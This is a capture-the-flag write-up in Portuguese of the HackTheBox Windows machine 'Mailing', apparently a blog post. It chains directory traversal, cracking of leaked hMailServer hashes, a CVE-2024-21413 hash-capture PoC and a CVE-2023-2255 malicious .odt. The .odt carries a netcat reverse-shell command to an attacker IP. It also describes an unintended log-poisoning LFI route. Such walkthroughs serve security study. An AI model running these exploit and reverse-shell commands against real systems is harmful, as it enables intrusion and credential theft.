
If you've been grinding through HackTheBox machines, Mailing is one of those boxes that genuinely teaches you something. It's rated Easy, runs on Windows, and chains together a few real-world vulnerabilities — a directory traversal, a credential leak, CVE-2024-21413, and a LibreOffice macro exploit. Let's walk through it step by step.
Por Mursalin
Se você está se dedicando às máquinas do HackTheBox, Mailing é uma daquelas máquinas que realmente ensina algo. Ela é classificada como Fácil, roda no Windows e combina algumas vulnerabilidades do mundo real — um directory traversal, um vazamento de credenciais, CVE-2024-21413 e um exploit de macro do LibreOffice. Vamos percorrer passo a passo.
Como sempre, começamos com uma varredura nmap para ver com o que estamos lidando:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
Os resultados mostram várias portas abertas. Os destaques:
mailing.htb)A impressão digital do SO corresponde ao Windows 10 ou Server 2019, e a versão do IIS confirma que é pelo menos IIS 10. Também observo que a assinatura de mensagens SMB está ativada, mas não é obrigatória — guarde isso para depois.
As portas de e-mail estão por toda parte, mas provavelmente exigirão credenciais. O servidor web na porta 80 é o ponto de partida óbvio.
Depois de adicionar mailing.htb ao /etc/hosts, o site parece uma empresa de hospedagem de e-mail baseada no hMailServer. Nada sofisticado na superfície — uma seção 'Sobre', uma seção de equipe com três nomes (Ruy Alonso, Maya Bendito, Gregory Smith) e um botão "Download Instructions".
O botão de download aponta para:
http://mailing.htb/download.php?file=instructions.pdf
Esse parâmetro file= é imediatamente suspeito. Vamos testá-lo.
Executei ffuf para verificar subdomínios — nada interessante voltou. Depois feroxbuster para força bruta de diretórios, também nada novo além de download.php. Então toda nossa atenção vai para esse único endpoint.
Testando o parâmetro file para path traversal:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
E funciona — obtemos o arquivo hosts do Windows de volta. O aplicativo está literalmente apenas prefixando um caminho base ao que fornecermos e chamando file_get_contents(). Sem sanitização, sem restrição. O código-fonte de download.php confirma isso quando o lemos diretamente:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Agora temos leitura arbitrária de arquivos em uma máquina Windows. Vamos usar isso.
O hMailServer armazena sua configuração em hMailServer.ini. Após alguma pesquisa, o arquivo está em:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Lendo-o através do nosso traversal:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
A saída inclui:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Dois hashes MD5. Eu os jogo no CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministrator
0a9f8ad8bf896b501dde74f08efd7e4c → Não encontrado
Então temos a senha de administrador do hMailServer. Tentar usá-la no SMB como o usuário administrator do Windows falha — não é uma senha de conta local, apenas a senha de admin do serviço de e-mail. Mas funciona para autenticar no serviço SMTP, que é exatamente o que precisamos.
Agora precisamos obter um ponto de apoio como um usuário real. O site menciona que o cliente de e-mail usado é o Windows Mail (com base no PDF de instruções de instalação). Hora de verificar vulnerabilidades conhecidas.
CVE-2024-21413 é uma vulnerabilidade de execução remota de código no Microsoft Outlook e no Windows Mail. A falha reside em como os clientes lidam com URLs do protocolo file:// no corpo dos e-mails. Normalmente, restrições de segurança são aplicadas a diferentes protocolos. No entanto, pesquisadores descobriram que, se uma URL termina com !qualquercoisa, essas restrições são silenciosamente descartadas. Quando um usuário abre ou até mesmo visualiza um e-mail com esse link, o cliente tenta automaticamente autenticar no servidor SMB do atacante — entregando um hash NetNTLMv2.
Há um PoC sólido no GitHub por xaitax. Eu o clono e executo com estes parâmetros:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
O e-mail é enviado com sucesso. Enquanto isso, tenho o Responder rodando na minha máquina de ataque para capturar a autenticação recebida:
sudo /opt/Responder/Responder.py -I tun0
Cerca de um minuto depois, o cliente da Maya abre o e-mail e o Responder captura o hash NetNTLMv2 dela. Eu o quebro com o hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Senha quebrada: m4y4ngs4ri
Com as credenciais da Maya, conecto usando Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Estamos dentro. A flag do usuário está na área de trabalho da Maya.
Hora de procurar um caminho para root. Vasculhando o sistema, há um compartilhamento chamado Important Documents e o LibreOffice está instalado. Isso é uma forte dica para CVE-2023-2255.
CVE-2023-2255 afeta versões do LibreOffice anteriores a 7.4.7 e 7.5.3. Ela abusa de "frames flutuantes" — arquivos externos vinculados dentro de documentos .odt. A vulnerabilidade faz com que esses frames sejam carregados sem pedir permissão ao usuário, e o conteúdo pode ser uma macro que executa na carga do documento.
O PoC do elweth-sec gera um .odt malicioso que incorpora um comando shell. A estrutura do documento incorpora uma tag <script> em content.xml que dispara no momento em que o LibreOffice abre o arquivo.
Gero um payload de reverse shell:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Então envio tanto o arquivo .odt quanto o nc64.exe para o compartilhamento SMB Important Documents usando as credenciais da Maya:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Do shell WinRM da Maya, copio nc64.exe para C:\ProgramData para que a macro possa encontrá-lo:
copy "\Important Documents\nc64.exe" nc64.exe
Após um minuto ou dois, algo na máquina abre o documento (provavelmente uma tarefa agendada automatizada), e eu capturo um shell no meu listener netcat:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Estamos rodando como localadmin — e a flag root está na Área de Trabalho.
A máquina foi corrigida em 15 de maio de 2024 — apenas 11 dias após o lançamento — porque o download.php original usava include() do PHP em vez de file_get_contents(). Isso transformou uma simples leitura de arquivo em uma vulnerabilidade completa de Local File Inclusion, o que significa que qualquer código PHP em um arquivo legível seria executado.
O caminho não intencional era envenenar os logs SMTP do hMailServer (conectando via telnet e injetando PHP no comando HELO), depois incluir esse arquivo de log via LFI para obter execução de código como defaultapppool. A partir daí, SeImpersonatePrivilege + GodPotato = SYSTEM. Uma rota completamente diferente para root.
A cadeia de ataque no Mailing é assim:
download.phphMailServer.ini → quebrar o hash MD5 do adminEsta máquina faz um ótimo trabalho ao encadear CVEs reais de uma forma que parece crível. As etapas de exploração não são excessivamente complexas, mas você precisa entender o que está fazendo em cada estágio. Definitivamente uma que vale a pena revisitar se você está estudando para o OSCP.
Obrigado por ler! Siga-me no Medium para mais writeups de HTB e conteúdo CTF.
— Mursalin